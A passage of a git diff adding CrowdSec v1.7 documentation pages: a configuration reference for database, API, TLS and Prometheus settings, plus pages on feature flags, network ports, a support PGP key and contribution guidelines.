json or raw). + +#### `hub_branch` +> string + +The git branch on which `cscli` is going to fetch configurations. + +#### `prometheus_uri` +> uri + +(>1.0.7) An uri (without the trailing `/metrics`) that will be used by `cscli metrics` command, ie. `http://127.0.0.1:6060/` + + +### `plugin_config` + +#### `user` +> string + +The owner of the plugin process. If set to an empty string, the plugin process +will run as the same user as crowdsec. Both user and group must be either set +or unset. + +#### `group` +> string + +The group of the plugin process. If set to an empty string, the plugin process +will run in the same group as crowdsec. Both user and group must be either set +or unset. + +### `db_config` + +The configuration of the database to use for the local API. + +```yaml +db_config: + type: "" + + db_path: "" # database path for sqlite or socket file for mysql/pgx + use_wal: "true|false" # for sqlite + + user: "" # for mysql/postgresql/pgx + password: "" # for mysql/postgresql/pgx + db_name: "" # for mysql/postgresql/pgx + host: "" # for mysql/postgresql/pgx # must be omitted if using socket file + port: "" # for mysql/postgresql/pgx # must be omitted if using socket file + sslmode: "" # for postgresql/pgx + ssl_ca_cert: "" # for mysql/pgsql + ssl_client_cert: "" # for mysql/pgsql + ssl_client_key: "" # for mysql/pgsql + max_open_conns: "" + decision_bulk_size: "" + flush: + max_items: "" + max_age: "" + metrics_max_age: "" + bouncers_autodelete: + cert: "" + api_key: "" + agents_autodelete: + cert: "" + login_password: "" +``` + +#### `type` + +```yaml +db_config: + type: sqlite +``` + +The `type` of database to use. It can be: + +- `sqlite` +- `mysql` +- `postgresql` +- `pgx` + +#### `db_path` + +```yaml +db_config: + type: sqlite + db_path: /var/lib/crowdsec/data/crowdsec.db +--- +db_config: + type: mysql + db_path: /var/run/mysqld/mysqld.sock +--- +db_config: + type: pgx + db_path: /var/run/postgresql/ #Folder that holds socket file. Socket MUST be the named `.s.PGSQL.5432` +``` + +The path to the database file (only if the type of database is `sqlite`) or path to socket file (only if the type of database is `mysql|pgx`) + +#### `user` + +```yaml +db_config: + type: mysql|postgresql|pgx + + user: foo +``` +The username to connect to the database (only if the type of database is `mysql` or `postgresql`) + +#### `password` + +```yaml +db_config: + type: mysql|postgresql|pgx + + password: foobar +``` +The password to connect to the database (only if the type of database is `mysql` or `postgresql`) + +#### `db_name` + +```yaml +db_config: + type: mysql|postgresql|pgx + + db_name: crowdsec +``` +The database name to connect to (only if the type of database is `mysql` or `postgresql`) + +#### `host` + +```yaml +db_config: + type: mysql|postgresql|pgx + + host: foo +``` +The host to connect to (only if the type of database is `mysql` or `postgresql`). Must be omitted if using socket file. + +#### `port` + +```yaml +db_config: + type: mysql|postgresql|pgx + + port: 3306|5432|5432 +``` +The port to connect to (only if the type of database is `mysql` or `postgresql`). Must be omitted if using socket file. + + +#### `sslmode` + +```yaml +db_config: + type: postgresql + + sslmode: require +``` +Require or disable ssl connection to database (only if the type of database is `mysql` or `postgresql` or `pgx`). + +See [PostgreSQL SSL modes](https://www.postgresql.org/docs/current/libpq-ssl.html#LIBPQ-SSL-SSLMODE-STATEMENTS) for possible values. +See [MySQL SSL modes](https://dev.mysql.com/doc/refman/8.0/en/using-encrypted-connections.html) for possible values within the `Client-Side` configuration. + +#### `ssl_ca_cert` + +```yaml +db_config: + type: mysql|postgresql|pgx + + ssl_ca_cert: /path/to/ca.crt +``` +Path to the CA certificate file (only if the type of database is `mysql` or `postgresql` or `pgx`) + +#### `ssl_client_cert` + +```yaml +db_config: + type: mysql|postgresql|pgx + + ssl_client_cert: /path/to/client.crt +``` +Path to the client certificate file when using mTLS (only if the type of database is `mysql` or `postgresql` or `pgx`) + +#### `ssl_client_key` + +```yaml +db_config: + type: mysql|postgresql|pgx + + ssl_client_key: /path/to/client.key +``` +Path to the client key file when using mTLS (only if the type of database is `mysql` or `postgresql` or `pgx`) + +#### `max_open_conns` + +```yaml +db_config: + type: mysql|postgresql|pgx|sqlite + max_open_conns: 100 +``` +Maximum number of open connections to the database. + +Defaults to 100. Set to 0 for unlimited connections. + + +#### `decision_bulk_size` + +```yaml +db_config: + decision_bulk_size: 1000 +``` +Maximum number of decisions inserted or updated in a single query. + +Added in v1.5.3. + +This can affect the responsiveness of the system. If you use big blocklists +on devices like raspberry or similar appliances with slow disks, you can +raise this up to 2000. Higher values will still be interpreted as 2000 +due to query size limits. + +#### `use_wal` + +```yaml +db_config: + type: sqlite + use_wal: true +``` +[SQLite Write-Ahead Logging](https://www.sqlite.org/wal.html) is an option allowing more concurrency in SQLite that will improve performances in most scenarios. + +When WAL is unspecified you will see the following warning message at startup : + + +> You are using sqlite without WAL, this can have an impact of performance. If you do not store the database in a network share, set db_config.use_wal to true. Set explicitly to false to disable this warning. + +#### `flush` + +```yaml +flush: + max_items: + max_age: + metrics_max_age: + bouncers_autodelete: + cert: "" + api_key: "" + agents_autodelete: + cert: "" + login_password: "" +``` + +#### `max_items` +> int + +Number max of alerts in database. + +#### `max_age` +> string + +Alerts retention time. + +Supported units: + + - `s`: seconds + + - `m`: minutes + + - `h`: hours + + - `d`: days + +#### `metrics_max_age` +> string + +Usage metrics retention time. + +Supported units: + + - `s`: seconds + + - `m`: minutes + + - `h`: hours + + - `d`: days + +#### `bouncers_autodelete` + +##### `cert` + +Bouncers authenticated using TLS certificate will be deleted after `duration` without any requests. + +Supported units are the same as for `max_age` + +##### `api_key` + +Bouncers authenticated using API key auth will be deleted after `duration` without any requests. + +Supported units are the same as for `max_age` + +#### `agents_autodelete` + +##### `cert` + +Agents authenticated using TLS certificate will be deleted after `duration` without any requests and if there is no active alerts for them. + +Supported units are the same as for `max_age` + + +##### `login_password` + +Agents authenticated using login/password will be deleted after `duration` without any requests and if there is no active alerts for them. + +Supported units are the same as for `max_age` + + +### `api` + +The api section is used by both `cscli`, `crowdsec` and the local API. + +```yaml +api: + cti: + key: "" + cache_timeout: "60m" + cache_size: 50 + enabled: "(true|false)" + log_level: "(info|debug|trace)" + client: + insecure_skip_verify: "(true|false)" + credentials_path: "" + unregister_on_exit: "(true|false)" + server: + enable: + log_level: "(error|info|debug|trace>" + listen_uri: "" # host:port + profiles_path: "" + use_forwarded_for_headers: "(true|false)" + console_path: + online_client: + sharing: "(true|false)" + pull: + community: "(true|false)" + blocklists: "(true|false)" + credentials_path: "" + disable_remote_lapi_registration: (true|false) + capi_whitelists_path: "" + tls: + cert_file: "" + key_file: "" + client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequireAndVerifyClientCert" + ca_cert_path: "" + agents_allowed_ou: # List of allowed Organisational Unit for the agents + - agents_ou + bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers + - bouncers_ou + crl_path: "" + cache_expiration: "" + auto_registration: + enabled: + token: + allowed_ranges: + - 10.0.0.0/24 +``` + +#### `cti` + +The cti subsection is used by `crowdsec` and `cscli` to query the CrowdSec CTI. + +```yaml +cti: + key: "" + cache_timeout: "60m" + cache_size: 50 + enabled: "(true|false)" + log_level: "(info|debug|trace)" +``` + +##### `key` +>string + +The API key to use to query the CTI. This key is generated via [console](https://app.crowdsec.net/) + +##### `cache_timeout` +>string + +The duration to cache the CTI API response. + +Supported units: + + - `s`: seconds + + - `m`: minutes + + - `h`: hours + + - `d`: days + +##### `cache_size` +>int + +The number of CTI API responses to cache. + +##### `enabled` +>bool + +Whether to enable the CTI integration. + +##### `log_level` +>string + +The log level for the CTI integration. + +#### `client` + +The client subsection is used by `crowdsec` and `cscli` to read and write decisions to the local API. + +```yaml +client: + insecure_skip_verify: "(true|false)" + credentials_path: "" + unregister_on_exit: "(true|false)" +``` + +##### `insecure_skip_verify` +>bool + +Allows the use of https with self-signed certificates. + +##### `credentials_path` +>string + +Path to the credential files (contains API url + login/password). + +##### `unregister_on_exit` +>bool + +If set to `true`, the log processor will remove delete itself from LAPI when stopping. + +Intended for use in dynamic environment such as Kubernetes. + +#### `server` + +The `server` subsection is the local API configuration. + +```yaml +server: + enable: + log_level: (error|info|debug|trace) + listen_uri: # host:port + profiles_path: + use_forwarded_for_headers: (true|false) + trusted_ips: # IPs or IP ranges which should have admin API access + #- 127.0.0.1 + #- ::1 + #- 10.0.0.0/24 + console_path: + online_client: + sharing: "(true|false)" + pull: + community: "(true|false)" + blocklists: "(true|false)" + credentials_path: + disable_remote_lapi_registration: (true|false) + capi_whitelists_path: "" + tls: + cert_file: + key_file: + client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequestAndVerifyClientCert" + ca_cert_path: "" + agents_allowed_ou: # List of allowed Organisational Unit for the agents + - agents_ou + bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers + - bouncers_ou + crl_path: "" + cache_expiration: "" + auto_registration: + enabled: + token: + allowed_ranges: + - 10.0.0.0/24 +``` + +##### `enable` +> bool + +Enable or disable the CrowdSec Local API (`true` by default). + +##### `listen_uri` +> string + +Address and port listen configuration, the form `host:port`. + +##### `profiles_path` +> string + +The path to the profiles configuration. + +##### `console_path` +> string + +The path to the console configuration. + +#### `disable_remote_lapi_registration` +> bool + +This option will disable the registration of remote agents using `cscli lapi register` command. As by default the local API registration will create a machine in the database (not validated), this option will prevent the creation of a machine in the database. + +##### `capi_whitelists_path` +> string + +:::warning + +This option is deprecated. +You should use [centralized allowlists](local_api/allowlists.md) instead. + +::: + +The path to whitelists file for community and 3rd party blocklists. +Those IPs/CIDR whitelists apply on all the IPs received from community blocklist or 3rd party lists subscriptions. + +expected file format: + +```yaml +ips: + - 1.2.3.4 + - 2.3.4.5 +cidrs: + - 1.2.3.0/24 +``` + +##### `use_forwarded_for_headers` +> bool + +Allow the usage of `X-Forwarded-For` or `X-Real-IP` to get the client IP address. Do not enable if you are not running the LAPI behind a trusted reverse-proxy or LB. + +##### `online_client` + +Configuration to push signals and receive bad IPs from Crowdsec API. + +```yaml +online_client: + sharing: "(true|false)" + pull: + community: "(true|false)" + blocklists: "(true|false)" + credentials_path: "" +``` + +###### `sharing` +> bool + +Whether you want to share signals with Central API, please note as outlined in the [Community blocklists](central_api/blocklist.md) section, enabling or disabling based on your plan type will affect how many IP's are downloaded from the community blocklists. + +###### `pull` + +```yaml +pull: + community: "(true|false)" + blocklists: "(true|false)" +``` + +###### `community` +> bool + +Whether to pull signals from the community blocklists. Useful when you want to share your signals with the community but don't want to receive signals from the community. + +###### `blocklists` +> bool + +Whether to pull signals from the CrowdSec blocklists. Useful when you want to share your signals with the community but don't want to receive signals from 3rd party or first party blocklists. + +###### `credentials_path` +> string + +Path to a file containing credentials for the Central API. + +##### `tls` + +if present, holds paths to certs and key files. + +```yaml +tls: + cert_file: "" + key_file: "" + client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequireAndVerifyClientCert" + ca_cert_path: "" + agents_allowed_ou: # List of allowed Organisational Unit for the agents + - agents_ou + bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers + - bouncers_ou + crl_path: "" + cache_expiration: "" + +``` + +###### `cert_file` +> string + +Path to certificate file. + +###### `key_file` +> string + +Path to certficate key file. + +###### `client_verification` + +Whether LAPI should require or not a client certificate for authentication. + +Supported values mirror the ones available in the [golang TLS library](https://pkg.go.dev/crypto/tls#ClientAuthType). + +Default to `VerifyClientCertIfGiven` which will allow connection without certificate or require a valid client certificate if one is provided + +:::warning + +Crowdsec supports all `ClientAuthType` value from the go TLS library for sake of completness, but using any value other than `NoClientCert` (completly disable authentication with certificates), `VerifyClientCertIfGiven` (only use the certificate if provided) or `RequireAndVerifyClientCert` (only allows certificate authentication and disable password/API key auth) is insecure and must not be used. + +::: + +###### ca_cert_path + +Path to the CA certificates used to sign the client private keys. + +Only required if using TLS auth and if the system does not trust the CA. + +If not set and if the system does not trust the CA, all TLS authenticated requests will fail. + +###### agents_allowed_ou + +List of Organizational Unit allowed for the agents. + +If not set, no agents will be able to authenticate with TLS. + +###### bouncers_allowed_ou + +List of Organizational Unit allowed for the bouncers. + +If not set, no bouncers will be able to authenticate with TLS. + +###### crl_path + +Path to the certificate revocation list of the CA. + +Optional. If not set, only OCSP revocation check will be performed (only if the client certificate contains an OCSP URL). + +##### cache_expiration + +How log to cache the result of a revocation check. + +Defaults to 1h. + +The format must be compatible with golang [time.Duration](https://pkg.go.dev/time#ParseDuration) + +##### `trusted_ips` +> list + +IPs or IP ranges which have admin access to API. The APIs would still need to have API keys. +127.0.0.1 and ::1 are always given admin access whether specified or not. + +#### `auto_registration` + +This section configures LAPI to automatically accept new machine registrations + +```yaml +auto_registration: + enabled: + token: + allowed_ranges: + - 10.0.0.0/24 +``` + +##### `enabled` +> bool + +Whether automatic registration should be enabled. + +Defaults to `false`. + +##### `token` +> string + +Token that should be passed in the registration request if LAPI needs to automatically validate the machine. + +It must be at least 32 chars, and is mandatory if the feature is enabled. + +##### `allowed_ranges` +> []string + +IP ranges that are allowed to use the auto registration features. + +It must have at least one entry if the feature is enabled + + +### `prometheus` + +This section is used by local API and crowdsec. + +```yaml +prometheus: + enabled: "(true|false)" + level: "(full|aggregated)" + listen_addr: "" + listen_port: "" +``` + + +#### `enabled` +> bool + +Allows to enable/disable prometheus instrumentation. + +#### `level` +> string + +Can be `full` (all metrics) or `aggregated` (to allow minimal metrics that will keep cardinality low). + +#### `listen_addr` +> string + +Prometheus listen url. + +#### `listen_port` +> int + +Prometheus listen port. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/configuration/feature_flags.md b/crowdsec-docs/versioned_docs/version-v1.7/configuration/feature_flags.md new file mode 100644 index 000000000..86ab1213e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/configuration/feature_flags.md @@ -0,0 +1,100 @@ +--- +title: Feature Flags +id: feature_flags +--- + +# Feature Flags + +In order to make it easier for users to test and experiment with new features, CrowdSec uses the concept of "feature flags". +New commands and behaviors can be improved by us, according to the user's feedback, before making them available in the default configuration. + +## List of available Feature Flags + +Some of the feature flags might not be documented because they are for features that are still under development and not ready for general use. + +- `re2_grok_support`: Enable RE2 support for GROK patterns. [Brings a very significant performance improvement in parsing at the cost of extra memory](https://www.crowdsec.net/blog/increasing-performance-crowdsec-1-5). +- `re2_regexp_in_file_support`: Enable RE2 support for `RegexpInFile` expr helper. Similar to `re2_grok_support` but more niche as regexps used by `RegexpInFile` are usually less complex than grok patterns. +- `chunked_decisions_stream`: Enable chunked decisions stream. Useful when you have a lot of remediation pulling from the same local API, as it reduces the memory consumption related to decision fetch. + +## Enabling a Feature Flag + +A feature flag can be enabled in two ways: + + - By adding the feature name as a list item in the file `/etc/crowdsec/feature.yaml`. For example, to enable the `my_new_feature` feature flag, you would add the following line to the file: + +```yaml title="/etc/crowdsec/feature.yaml" + - my_new_feature +``` + + - By setting the `CROWDSEC_FEATURE_` environment variable to true. For example, to enable the `my_new_feature` feature flag, you would set the environment variable `CROWDSEC_FEATURE_MY_NEW_FEATURE=true`. This is recommended when running CrowdSec in containers. If you really want to do this outside of containers (as we do for tests), keep in mind that the variable must be defined for both the `crowdsec` process and `cscli`. + + +You can see if CrowdSec is running with feature flags by calling `grep 'feature flags' /var/log/crowdsec.log | tail -1` + + +## Retrieving Supported Feature Flags + +To retrieve a list of all the supported and enabled feature flags for a given version of CrowdSec, you can use the following command: + +```console +$ cscli config feature-flags + --- Enabled features --- + +✓ cscli_setup: Enable cscli setup command (service detection) +✓ papi_client: Enable Polling API client + + --- Disabled features --- + +✗ chunked_decisions_stream: Enable chunked decisions stream +✗ disable_http_retry_backoff: Disable http retry backoff + +To enable a feature you can: + - set the environment variable CROWDSEC_FEATURE_ to true + - add the line '- ' to the file /etc/crowdsec/feature.yaml +``` + +## Deprecation, retirement + +When a feature is made generally available, or if it's discarded completely, the corresponding feature flag can be +`deprecated` or `retired`. You can still use the feature flag (with a warning) if it has been deprecated. Using a feature flag that +has been retired will have no effect and log an error instead. + +In the following example, we deprecated `cscli_setup` and retired `papi`, then we attempt to enable both. You can see the warning +and the error. + +```console +$ CROWDSEC_FEATURE_PAPI_CLIENT=true CROWDSEC_FEATURE_CSCLI_SETUP=true ./tests/local/bin/cscli version +ERRO[02-03-2023 15:55:45] Ignored envvar 'CROWDSEC_FEATURE_PAPI_CLIENT': the flag is retired. +WARN[02-03-2023 15:55:45] Envvar 'CROWDSEC_FEATURE_CSCLI_SETUP': the flag is deprecated. +2023/03/02 15:55:45 version: v1.5.0-rc1-13-ge729bf5d-e729bf5d6103894da28818ab4626bab918fbd09d +2023/03/02 15:55:45 Codename: alphaga +2023/03/02 15:55:45 BuildDate: 2023-03-02_15:48:28 +2023/03/02 15:55:45 GoVersion: 1.20.1 +[...] +``` + +Retired flags don't appear in `cscli config feature-flags` unless you use the `--retired` option: + +```console +$ CROWDSEC_FEATURE_PAPI_CLIENT=true CROWDSEC_FEATURE_CSCLI_SETUP=true ./tests/local/bin/cscli config feature-flags --retired +ERRO[02-03-2023 15:58:38] Ignored envvar 'CROWDSEC_FEATURE_PAPI_CLIENT': the flag is retired. +WARN[02-03-2023 15:58:38] Envvar 'CROWDSEC_FEATURE_CSCLI_SETUP': the flag is deprecated. + --- Enabled features --- + +✓ cscli_setup: Enable cscli setup command (service detection) + DEPRECATED + + --- Disabled features --- + +✗ chunked_decisions_stream: Enable chunked decisions stream +✗ disable_http_retry_backoff: Disable http retry backoff + +To enable a feature you can: + - set the environment variable CROWDSEC_FEATURE_ to true + - add the line '- ' to the file /home/marco/src/crowdsec/tests/local/etc/crowdsec/feature.yaml + + --- Retired features --- + +✗ papi_client: Enable Polling API client + RETIRED +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/configuration/network_management.md b/crowdsec-docs/versioned_docs/version-v1.7/configuration/network_management.md new file mode 100644 index 000000000..2c289f5f5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/configuration/network_management.md @@ -0,0 +1,55 @@ +--- +title: Network Management +id: network_management +--- + + +# Ports inventory + + - `tcp/8080` exposes a [REST API](https://crowdsecurity.github.io/api_doc/lapi/) for bouncers, `cscli` and communication between crowdsec agent and local api + - `tcp/6060` (endpoint `/metrics`) exposes [prometheus metrics](/observability/prometheus.md) + - `tcp/6060` (endpoint `/debug`) exposes pprof debugging metrics + +# Outgoing connections + + - Local API connects to `tcp/443` on `api.crowdsec.net` (signal push and blocklists pull) + - Local API connects to `tcp/443` on `blocklists.api.crowdsec.net` (blocklists pull) + - Local API connects to `tcp/443` on `papi.api.crowdsec.net` (console management) + - `cscli` connects to `tcp/443` on `hub-cdn.crowdsec.net` to fetch scenarios, parsers etc. (1) + - `cscli` connects to `tcp/443` on `version.crowdsec.net` to check latest version available. (1) + - [`cscli dashboard`](/cscli/cscli_dashboard.md) fetches metabase configuration from a s3 bucket (`https://crowdsec-statics-assets.s3-eu-west-1.amazonaws.com/`) + - Installation script is hosted on `install.crowdsec.net` over HTTPS. + - Repositories are hosted on `packagecloud.io` over HTTPS. + +__(1) - both FQDN are cloudfront entries to crowdsec's github repositories so people avoid hitting github's quotas__ + + +# Communication between components + +## Bouncers -> Local API + + - Bouncers are using Local API on `tcp/8080` by default + +## Agents -> Local API + + - Agents connect to local API on port `tcp/8080` (only relevant ) + +:::warning +If there is an error in the agent configuration, it will also cause the Local API to fail if both of them are running in the same machine ! +Both components need proper configuration to run (we decide to keep this behavior to detect agent or local API errors on start). +::: + +## Local API -> Central API + + - Central API is reached on port `tcp/443` by Local API. The FQDN is `api.crowdsec.net` + +## Local API -> Database + + - When using a networked database (PostgreSQL or MySQL), only the local API needs to access the database, agents don't have to be able to communicate with it. + +## Prometheus -> Agents + + - If you're scrapping prometheus metrics from your agents or your local API, you need to allow inbound connections to `tcp/6060` + + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contact_team.md b/crowdsec-docs/versioned_docs/version-v1.7/contact_team.md new file mode 100644 index 000000000..4633e0b0e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contact_team.md @@ -0,0 +1,52 @@ +--- +id: contact_team +title: Contact the team +sidebar_position: 10 +--- + + +If you want to contact us using non-public media, you can contact us on `support` AT `crowdsec` DOT `net` with the following gpg-key : + +``` +-----BEGIN PGP PUBLIC KEY BLOCK----- + +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 +=hW13 +-----END PGP PUBLIC KEY BLOCK----- +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/bouncers.md b/crowdsec-docs/versioned_docs/version-v1.7/contributing/bouncers.md new file mode 100644 index 000000000..3246c8bc2 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/bouncers.md @@ -0,0 +1,100 @@ +--- +id: contributing_bouncers +title: Remediation Components +sidebar_position: 5 +--- + +## Publishing remediation component + +We do welcome remediation components from the community, and will gladly publish them on the hub. + +### Why ? + +Sharing on the hub allows other users to find and use it. While increasing your code's visibility, it also ensures a benevolent evaluation by the community and our team. + +### How ? + +#### Specs + +Remediation components have mandatory and optional features, they are described in the following sub pages: +- [Specifications for Remediation Component and AppSec Capabilities](/contributing/specs/bouncer_appsec_specs) +- [Remediation Component Metrics](/contributing/specs/bouncer_metrics_specs) + +*Don't hesitate to get in touch with us via discord if anything is unclear to you* + +Those specs describe how the Remediation component interacts with the Security Engine Local API as well as how each feature should behave. + +Main features are: +- **Mode**: How the bouncer retrieves decisions + - **Stream**: Pulls them periodically and stores them locally (preferred for low latency remediation) + - **Live**: Queries the LAPI upon request reception (easier to implement) + - Both available ideally, but **Stream** preferred in most cases +- **AppSec**: Ability to forward requests to the Security Engine to eval appsec rules + - Optional but if the remediation component has access to the request this features is a big plus +- **Metrics**: Keep track of what was remediated + - Optional but very useful for the users to be able to evaluate the efficiency of the protection + - Ideally with details on the source of the decision (blocklist, manual block, a scenario triggering a decision 'crowdsec'...) + +Other optional features are: +- **MTLS** support +- Exposing metrics to **Prometheus** + +#### Publish on Github + +To have it published on the hub, please simply [open a new issue on the hub](https://github.com/crowdsecurity/hub/issues/new), requesting "remediation component inclusion". The remediation component will then be reviewed by the team, and published directly on the hub, for everyone to find & use it! + +:::info +currently the hub only allows links to code bases hosted on github.com, we will support others in the future +::: + +The information that should be stated in your issue is: + +- Source repository of your remediation component (for example `https://github.com/crowdsecurity/cs-firewall-bouncer/`) +- Software licence used +- Current status of the remediation component (stage: dev/unstable/stable) +- Documentation (can be simply in the README.md): + - must contain: installing, uninstalling + - should contain: configuration documentation +- Link to existing tests if applicable (either functional or unit tests) + +Please take care of the following : + +- Ensure your repository has a About/Short description meaningful enough: it will be displayed in the hub +- Ensure your repository has a decent README.md file: it will be displayed in the hub +- Ensure your repository has _at least_ one release: this is what users will be looking for +- (ideally) Have a "social preview image" on your repository: this will be displayed in the hub when available +- (ideally) A Howto or link to a guide that provides a hands-on experience with the remediation component + +You can follow this template: + +```markdown +Hello, + +I would like to suggest the addition of the `XXXX` to the hub : + +- Source repository: https://github.com/xxx/xxx/ +- Licence: MIT +- Current status: stable (has been used in production for a while) +- README/doc: https://github.com/xxx/xxx/blob/main/README.md +- Existing tests: + + - functional tests: https://github.com/xxx/xxx/blob/main/.github/workflows/tests.yml + +- Short/Long description: OK +- Howto: in README +- At least one release: yes +``` + + +### Bonus + +You can also open a Pull Request to add the remediation component in the Hub. +To do this, you must edit the [`blockers/list.json`](https://raw.githubusercontent.com/crowdsecurity/hub/master/blockers/list.json) file and add the following object in the array: + +```json + { + "name": "", + "author": "", + "logo": "" + } +``` \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/code.md b/crowdsec-docs/versioned_docs/version-v1.7/contributing/code.md new file mode 100644 index 000000000..1edce4a09 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/code.md @@ -0,0 +1,51 @@ +--- +id: contributing_crowdsec +title: CrowdSec +sidebar_position: 1 +--- + +# Contributing to CrowdSec + +- If you want to report a bug, you can use [the github bugtracker](https://github.com/crowdsecurity/crowdsec/issues) +- If you want to suggest an improvement you can use either [the github bugtracker](https://github.com/crowdsecurity/crowdsec/issues) or the [CrowdSecurity discourse](http://discourse.crowdsec.net) + +## Testing + +There are three types of tests on the main crowdsec repository. You can run +them anytime on your environment, and they are also run within the GitHub CI. + +### Go tests + +They include unit and integration tests written in the `*_test.go` files. + +You will need Docker in order to use [localstack](https://github.com/localstack/localstack) to emulate AWS and also for testing the log collector for Docker. + +If you have installed docker-compose and have access to Docker via `/var/run/docker.sock`, open a shell and run `make localstack`. In a second shell, run `make test`. + +### Bats tests + +These are documented in [tests/README.md](https://github.com/crowdsecurity/crowdsec/blob/master/tests/README.md). +They are easier to write than the Go tests, but can only test +each binary's external behavior. Run with `make bats-all`. + +### Hub tests + +These are testing the parsers, scenarios, etc. They are run from the bats tests +for convenience but actually defined in [the Hub +repository](https://github.com/crowdsecurity/hub/tree/master/.tests). +Run with `make bats-build bats-fixture` once, then `make bats-test-hub`. + +## Git workflow / branch management + +We receive contributions on the _master_ branch (or _main_, in recent repositories). To contribute, fork the repository, commit the code in a dedicated branch and ask for a Pull Request. By default it will target the master branch on the upstream repository, so in most cases you don't have to change anything. It will be reviewed by the core team and merged when ready, possibly after some changes. It is recommended to open [an Issue linked to the PR](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) in order to discuss it and track its progression. + +You may also receive feedback from the CI scripts (directory [.github/workflows](https://github.com/crowdsecurity/hub/tree/master/.github/workflows)) that run a series of 